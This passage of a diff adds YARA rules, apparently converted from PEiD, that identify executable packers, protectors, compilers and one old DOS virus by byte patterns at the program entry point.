+		$2 = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Vx_Eddie1028_
+{
+	meta:
+		description = "Vx: Eddie.1028"
+	strings:
+		$0 = {E8 ?? ?? 5E FC 83 ?? ?? 81 ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E B8 FE 4B CD 21 81 FF BB 55 ?? ?? 07 ?? ?? ?? 07 B4 49 CD 21 BB FF FF B4 48 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ExeSmasher__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ExeSmasher] --> Anorganix"
+	strings:
+		$0 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimysPacker_V12__hmimys_
+{
+	meta:
+		description = "hmimys-Packer V1.2 -> hmimys"
+	strings:
+		$0 = {E8 95 00 00 00}
+		$1 = {E8 95 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 5E AD 50 AD 50 97 AD 50 AD 50 AD 50 E8 C0 01 00 00 AD 50 AD 93 87 DE B9 ?? ?? ?? ?? E3 1D 8A 07 47 04 ?? 3C ?? 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 05 ?? ?? ?? ?? 2B C7 AB E2 E3 AD 85 C0 74 2B 97 56 FF 13 8B E8 AC 84 C0 75 FB 66 AD 66 85 C0 74 E9 AC 83 EE 03 84 C0 74 08 56 55 FF 53 04 AB EB E4 AD 50 55 FF 53 04 AB EB E0 C3 8B 0A 3B 4A 04 75 0A C7 42 10 01 00 00 00 0C FF C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Exe_Guarder_v18__Exeiconcom_
+{
+	meta:
+		description = "Exe Guarder v1.8 -> Exeicon.com"
+	strings:
+		$0 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0}
+		$1 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89}
+		$2 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73 75 1C 8B D0 03 D2 03 55 F0 0F B7 12 C1 E2 02 03 55 EC 8B 12 03 16 8B 4D F4 89 51 08 EB 04 40 49 75 A9 8B 5D F4 8D 83 A1 00 00 00 50 8B 06 50 FF 53 08 89 43 0C 8D 83 AE 00 00 00 50 8B 06 50 FF 53 08 89 43 10 8D 83 BA 00 00 00 50 8B 06 50 FF 53 08 89 43 14 8D 83 C6 00 00 00 50 8B 06 50 FF 53 08 89 43 18 8D 83 D7 00 00 00 50 8B 06 50 FF 53 08 89 43 1C 8D 83 E0 00 00 00 50 8B 06 50 FF 53 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Borland_Delphi_6070_
+{
+	meta:
+		description = "Borland Delphi 6.0-7.0"
+	strings:
+		$0 = {55 8B EC 83 C4 ?? 53 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PureBasic_4x__Neil_Hodgson_
+{
+	meta:
+		description = "PureBasic 4.x -> Neil Hodgson"
+	strings:
+		$0 = {68 ?? ?? 00 00 68 00 00 00 00 68 ?? ?? ?? 00 E8 ?? ?? ?? 00 83 C4 0C 68 00 00 00 00 E8 ?? ?? ?? 00 A3 ?? ?? ?? 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? ?? ?? 00 A3}
+		$1 = {68 ?? ?? 00 00 68 00 00 00 00 68 ?? ?? ?? 00 E8 ?? ?? ?? 00 83 C4 0C 68 00 00 00 00 E8 ?? ?? ?? 00 A3 ?? ?? ?? 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? ?? ?? 00 A3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _NTPacker_V2X__ErazerZ_
+{
+	meta:
+		description = "NTPacker V2.X -> ErazerZ"
+	strings:
+		$0 = {4B 57 69 6E 64 6F 77 73 00 10 55 54 79 70 65 73 00 00 3F 75 6E 74 4D 61 69 6E 46 75 6E 63 74 69 6F 6E 73 00 00 47 75 6E 74 42 79 70 61 73 73 00 00 B7 61 50 4C 69 62 75 00 00 00}
+		$1 = {4B 57 69 6E 64 6F 77 73 00 10 55 54 79 70 65 73 00 00 3F 75 6E 74 4D 61 69 6E 46 75 6E 63 74 69 6F 6E 73 00 00 47 75 6E 74 42 79 70 61 73 73 00 00 B7 61 50 4C 69 62 75 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Unknown_SFX_Archive_IDSKA32_
+{
+	meta:
+		description = "Unknown SFX Archive (IDSKA32)"
+	strings:
+		$0 = {69 64 73 6B 61 33 32}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v17_
+{
+	meta:
+		description = "Exe Shield v1.7"
+	strings:
+		$0 = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40 00 03 9D E6 90 40 00 53 8B C3 8B FB 2D AC 90 40 00 89 85 AD 90 40 00 8D B5 AC 90 40 00 B9 40 04 00 00 F3 A5 8B FB C3 BD 00 00 00 00 8B F7 83 C6 54 81 C7 FF 10 00 00 56 57 57 56 FF 95 DA 90 40 00 8B C8 5E 5F 8B C1 C1 F9 02 F3 A5 03 C8 83 E1 03 F3 A4 EB 26 D0 12 5B 00 AC 12 5B 00 48 12 5B 00 00 00 40 00 00 D0 5A 00 00 10 5B 00 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 8B 0E B5 E6 90 40 07 56 03 76 EE 0F 18 83 C6 14 12 35 97 80 8D BD 63 39 0D B9 06 86 02 07 F3 A5 6A 04 68 06 10 12 1B FF B5 51 29 EE 10 22 95}
+		$1 = {EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Delphi_v50_KOL_
+{
+	meta:
+		description = "Borland Delphi v5.0 KOL"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF A1 ?? 72 40 00 33 D2 E8 ?? ?? FF FF A1 ?? 72 40 00 8B 00 83 C0 14 E8 ?? ?? FF FF E8 ?? ?? FF FF}
+		$1 = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF 8B C0 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Hasp_4_envelope_dongle_Alladin_
+{
+	meta:
+		description = "Hasp 4 envelope dongle (Alladin)"
+	strings:
+		$0 = {10 02 D0 51 0F 00 83}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_29__North_Star_
+{
+	meta:
+		description = "NsPack 2.9 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8A 06 3C 00 74 12 8B F5 8D B5 ?? ?? FF FF 8A 06 3C 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8A 06 3C 00 74 12 8B F5 8D B5 ?? ?? FF FF 8A 06 3C 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _EXE32Pack_v137__SteelBytes_
+{
+	meta:
+		description = "EXE32Pack v1.37 -> SteelBytes"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? 00 ?? ?? 00 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _OptLink_Pass_2_
+{
+	meta:
+		description = "OptLink Pass 2"
+	strings:
+		$0 = {87 C0 EB 0B 00 01 02 D8 01 00 00 02 00 00 00 FC 8C DA 83 C2 10 52 16 07 0E 1F 01 16 09 00 01 16 0D 00 33 F6 33 FF B9 00 00 F3 A5 06 B8 31 00 50 CB FD 8B 1E 00 00 B9 00 10 3B D9 77 02 8B CB 2B D9 8C D8 2B C1 8E D8 8C C0 2B C1 8E C0 03 C9 03}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_SKE_21x_dll__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect SKE 2.1x (dll) -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WinKript_10__Mr_Crimson_h_
+{
+	meta:
+		description = "WinKript 1.0 -> Mr. Crimson (h)"
+	strings:
+		$0 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPack_v011__Dwing_
+{
+	meta:
+		description = "UPack v0.11 -> Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7}
+	condition:
+		$0
+}
+rule _TrueVision_Targa_Graphics_format_
+{
+	meta:
+		description = "TrueVision Targa Graphics format"
+	strings:
+		$0 = {00 00 02 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V13betaX__cyberbob____20080311_
+{
+	meta:
+		description = "PESpin V1.3.betaX -> cyberbob   * 20080311"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 ?? EB FB ?? ?? ?? ?? ?? ?? ?? 8B 42 3C 03 C2 ?? ?? ?? ?? ?? ?? EB 02 ?? ?? F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_V23X__MoleStudiocom_
+{
+	meta:
+		description = "MoleBox V2.3X -> MoleStudio.com"
+	strings:
+		$0 = {E8 00 00 00 00 60 E8 4F 00 00 00}
+		$1 = {E8 00 00 00 00 60 E8 4F 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_2xx__BitSum_Technologies_
+{
+	meta:
+		description = "PECompact 2.xx --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V1160__Nooby__20090201_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.1.6.0 -> Nooby * 20090201"
+	strings:
+		$0 = {E9 ?? 00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E 31 2E 36 2E 30}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v095_
+{
+	meta:
+		description = "tElock v0.95"
+	strings:
+		$0 = {E9 D5 E4 FF FF 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_V20_Private__Vaskanbsp_nbsp_SignByfly_
+{
+	meta:
+		description = "RCryptor V2.0 Private -> Vaska&nbsp; &nbsp;* Sign.By.fly"
+	strings:
+		$0 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? ?? ?? ?? F7 D1 83 F1 FF E8 00 00 00 00 F7 D1 83 F1 FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v13__v14__Vaska_
+{
+	meta:
+		description = "RCryptor v1.3 / v1.4 --> Vaska"
+	strings:
+		$0 = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50}
+		$1 = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$2 = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Visual_Cpp_2003_DLL__Microsoft_
+{
+	meta:
+		description = "Visual C++ 2003 DLL -> Microsoft"
+	strings:
+		$0 = {8B FF 55 8B EC}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v131_
+{
+	meta:
+		description = "FSG v1.31"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v101__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.01 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 23 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+		$1 = {60 E8 23 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Scram_07c1__08a1_
+{
+	meta:
+		description = "Scram 0.7c1 - 0.8a1"
+	strings:
+		$0 = {53 43 52 41 4D B4 30 CD 21 3C 02 77 02 CD 20 BC 3A 01 B9 00 00 8B FC B2 00 58 4C F6 D8 2A C2 D2 C8 FE CA 32 D1 81 FF D1 02 73 02 EB 09 81 FF 9B 03 73 03 47 EB 01 AA 49 75 DF}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v099__tE_TMD_
+{
+	meta:
+		description = "tElock v0.99 -> tE! [TMD"
+	strings:
+		$0 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00 00 00 00 ?? ?? 02 00 00 00 00 00 ?? ?? 02 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? 02 00 ?? ?? 02 00 ?? ?? 02 00 ?? ?? 02 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 00 00 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 00 00 ?? 00 00 ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Ninja_v10__pDzA_kRAker_TNT_
+{
+	meta:
+		description = "PE Ninja v1.0 -> +DzA kRAker TNT"
+	strings:
+		$0 = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$1 = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NsPacK_V37__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.7 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 80 39 01 0F ?? ?? ?? 00 00}
+		$1 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 80 39 01 0F ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DBPE_210_
+{
+	meta:
+		description = "DBPE 2.10"
+	strings:
+		$0 = {EB 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? EB 58 75 73 65 72 33 32 2E 64 6C 6C ?? 4D 65 73 73 61 67 65 42 6F 78 41 ?? 6B 65 72 6E 65 6C}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_133_
+{
+	meta:
+		description = "PECompact 1.33"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 00 87 DD 8B 85 A6 80 40 00 01 85 03 80 40 00 66 C7 85 00 80 40 00 90 90 01 85 9E 80 40 00 BB E8 0E 00 00 03 9D AA 80 40 00 03 9D A6 80 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_102__randomkilla_and_acpizer_
+{
+	meta:
+		description = "PE Crypt 1.02 -> random,killa and acpizer"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1300__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B}
+		$1 = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 47 26 00 00}
+		$2 = {EB 02 ?? ?? E8 25 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PseudoSigner_01__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RCryptor_v11__Vaska_
+{
+	meta:
+		description = "RCryptor v1.1 --> Vaska"
+	strings:
+		$0 = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$1 = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0}
+		$2 = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$3 = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 00 10 14 13 B8 00 10 14 13 3D 00 64 14 13 74 06 80 30 BC 40 EB F3 E8 00 00 00 00 C3}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3 at entrypoint
+}
+rule _624_10_
+{
+	meta:
+		description = "624 1.0"
+	strings:
+		$0 = {50 55 4C 50 83 C4 07 FC BF 00 80 BE 14 01 B5 30 57 F3 A5 C3 33 ED BE 6C 80 BF 00 01 57 81 FF 00 00 73 42 E8 3B 00 72 0A B1 08 99 E8 46 00 93 AA EB EB B2 08 E8 2A 00 73 09 41 4A 75 F7 E8 26 00 8B CB E3 10 51 E8 1E 00 59 56 8B F7 2B F3 41 F3}
+	condition:
+		$0 at entrypoint
+}
+rule _TTProtect_V10X__somuch____20080807_
+{
+	meta:
+		description = "TTProtect V1.0X -> somuch   * 20080807"
+	strings:
